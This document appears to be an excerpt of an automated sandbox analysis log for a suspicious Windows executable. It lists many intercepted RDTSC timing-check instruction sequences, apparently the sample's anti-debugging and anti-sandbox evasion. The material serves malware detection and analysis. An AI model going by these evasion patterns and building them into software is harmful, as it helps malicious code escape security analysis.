Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B4EB13 second address: B4EB23 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 jmp 00007F10A8DE1CDAh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B51EFB second address: B51F0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 ja 00007F10A8C33EF6h 0x0000000e push edx 0x0000000f pop edx 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: AB6B71 second address: AB6B8C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F10A8DE1CE7h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: AB6B8C second address: AB6B96 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F10A8C33EF6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: AB6B96 second address: AB6BA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B517A7 second address: B517D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 jmp 00007F10A8C33EFFh 0x0000000b popad 0x0000000c jmp 00007F10A8C33F06h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B55434 second address: B55439 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B5BBEA second address: B5BBEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B5BD2E second address: B5BD51 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F10A8DE1CE9h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B5BD51 second address: B5BD55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B5BEA8 second address: B5BF02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 jmp 00007F10A8DE1CE8h 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 js 00007F10A8DE1CEEh 0x00000016 jng 00007F10A8DE1CD6h 0x0000001c jmp 00007F10A8DE1CE2h 0x00000021 jmp 00007F10A8DE1CE9h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B5BF02 second address: B5BF1B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F10A8C33F05h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B5BF1B second address: B5BF1F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B5C270 second address: B5C296 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F10A8C33F05h 0x00000009 pop ebx 0x0000000a jmp 00007F10A8C33EFCh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B5C296 second address: B5C29B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B5D3EF second address: B5D3F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B5D3F3 second address: B5D3F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B5D985 second address: B5D9AB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F10A8C33EFAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a push eax 0x0000000b jnl 00007F10A8C33EFEh 0x00000011 push eax 0x00000012 push edx 0x00000013 jc 00007F10A8C33EF6h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B5D9AB second address: B5D9AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B68256 second address: B6825C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B683A0 second address: B683A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B683A4 second address: B683AC instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B71852 second address: B71869 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jnp 00007F10A8DE1CDCh 0x0000000b jns 00007F10A8DE1CD6h 0x00000011 popad 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B71869 second address: B7186D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B7186D second address: B71878 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B71878 second address: B71885 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jp 00007F10A8C33EF6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B7060F second address: B70615 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B70615 second address: B70619 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B70619 second address: B7061D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B7061D second address: B70631 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F10A8C33EF6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jnp 00007F10A8C33EFEh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B708D6 second address: B708DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B708DA second address: B7090D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F10A8C33EF6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F10A8C33F07h 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F10A8C33EFCh 0x00000018 push ecx 0x00000019 pop ecx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B7090D second address: B70918 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B70918 second address: B7091E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B6F718 second address: B6F71C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B78237 second address: B7826C instructions: 0x00000000 rdtsc 0x00000002 ja 00007F10A8C33F0Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F10A8C33F03h 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B7826C second address: B782A5 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F10A8DE1CD6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F10A8DE1CE1h 0x00000015 jg 00007F10A8DE1CE8h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B782A5 second address: B782AA instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B77C71 second address: B77C85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F10A8DE1CE0h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B77C85 second address: B77C89 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B77C89 second address: B77CBA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F10A8DE1CE6h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F10A8DE1CE1h 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B77CBA second address: B77CC6 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F10A8C33EF6h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B77CC6 second address: B77CD0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F10A8DE1CD6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B7A588 second address: B7A590 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B7A590 second address: B7A595 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: AB1BE9 second address: AB1BF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: AB1BF1 second address: AB1BF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B83327 second address: B8332B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B884FF second address: B88505 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B88505 second address: B8851B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F10A8C33F00h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B880C2 second address: B880C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B880C6 second address: B880D5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jnp 00007F10A8C33EF6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B8AD05 second address: B8AD47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F10A8DE1CD6h 0x0000000a popad 0x0000000b jmp 00007F10A8DE1CE0h 0x00000010 jns 00007F10A8DE1CDCh 0x00000016 popad 0x00000017 pushad 0x00000018 jnc 00007F10A8DE1CDAh 0x0000001e pushad 0x0000001f jnp 00007F10A8DE1CD6h 0x00000025 pushad 0x00000026 popad 0x00000027 popad 0x00000028 pushad 0x00000029 pushad 0x0000002a popad 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: BA488F second address: BA4899 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F10A8C33EF6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: BA4899 second address: BA48B1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F10A8DE1CE4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: BA38DD second address: BA38E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: BA3A46 second address: BA3A54 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F10A8DE1CDAh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: BA5E84 second address: BA5E9D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F10A8C33F05h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: BAA51F second address: BAA524 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: BAA524 second address: BAA52C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: BB351B second address: BB3538 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F10A8DE1CE6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: BB3538 second address: BB3542 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push esi 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: BB3542 second address: BB356B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F10A8DE1CDBh 0x00000007 jns 00007F10A8DE1CD6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F10A8DE1CE0h 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: BBABFE second address: BBAC04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: BBD333 second address: BBD33B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: BBD33B second address: BBD340 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: BBD340 second address: BBD348 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: BBD348 second address: BBD34C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: BBD174 second address: BBD18F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F10A8DE1CE0h 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: BBD18F second address: BBD195 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: BBD195 second address: BBD1C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F10A8DE1CE9h 0x0000000d jmp 00007F10A8DE1CE1h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: BBD1C7 second address: BBD1CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: BB5A5A second address: BB5A9A instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jnc 00007F10A8DE1CD6h 0x0000000f jbe 00007F10A8DE1CD6h 0x00000015 pushad 0x00000016 popad 0x00000017 popad 0x00000018 pop eax 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F10A8DE1CDEh 0x00000020 jmp 00007F10A8DE1CE7h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: BCAE71 second address: BCAE7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jns 00007F10A8C33EF6h 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: BCAE7F second address: BCAE8E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F10A8DE1CDBh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: BCAB66 second address: BCAB6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: BDECD8 second address: BDECE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 jp 00007F10A8DE1CD6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: BDECE7 second address: BDED18 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F10A8C33F09h 0x0000000d jmp 00007F10A8C33F00h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: BDEF97 second address: BDEFAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F10A8DE1CDEh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: BDEFAD second address: BDEFD0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 jbe 00007F10A8C33EF6h 0x0000000b jg 00007F10A8C33EF6h 0x00000011 js 00007F10A8C33EF6h 0x00000017 popad 0x00000018 pushad 0x00000019 push edx 0x0000001a pop edx 0x0000001b jne 00007F10A8C33EF6h 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: BDF11F second address: BDF123 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: BDF123 second address: BDF12A instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: BDF12A second address: BDF142 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a jnp 00007F10A8DE1CD6h 0x00000010 jno 00007F10A8DE1CD6h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: BDF142 second address: BDF161 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 jmp 00007F10A8C33F06h 0x0000000b pushad 0x0000000c popad 0x0000000d pop edi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: BDF161 second address: BDF167 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: BDF167 second address: BDF16B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: BDF2F9 second address: BDF34B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jmp 00007F10A8DE1CE2h 0x0000000a pop edx 0x0000000b pushad 0x0000000c push edi 0x0000000d pushad 0x0000000e popad 0x0000000f pop edi 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 jmp 00007F10A8DE1CE0h 0x00000018 jmp 00007F10A8DE1CDDh 0x0000001d popad 0x0000001e pushad 0x0000001f jmp 00007F10A8DE1CDFh 0x00000024 push edi 0x00000025 pop edi 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: BDF64E second address: BDF659 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 push edi 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: BDF659 second address: BDF65F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: BE0FDC second address: BE0FE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: BE0FE2 second address: BE0FEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jno 00007F10A8DE1CD8h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: BE0FEF second address: BE0FF4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: BE0FF4 second address: BE1008 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a jne 00007F10A8DE1CD6h 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: BE1008 second address: BE1027 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jnl 00007F10A8C33F08h 0x0000000d rdtsc
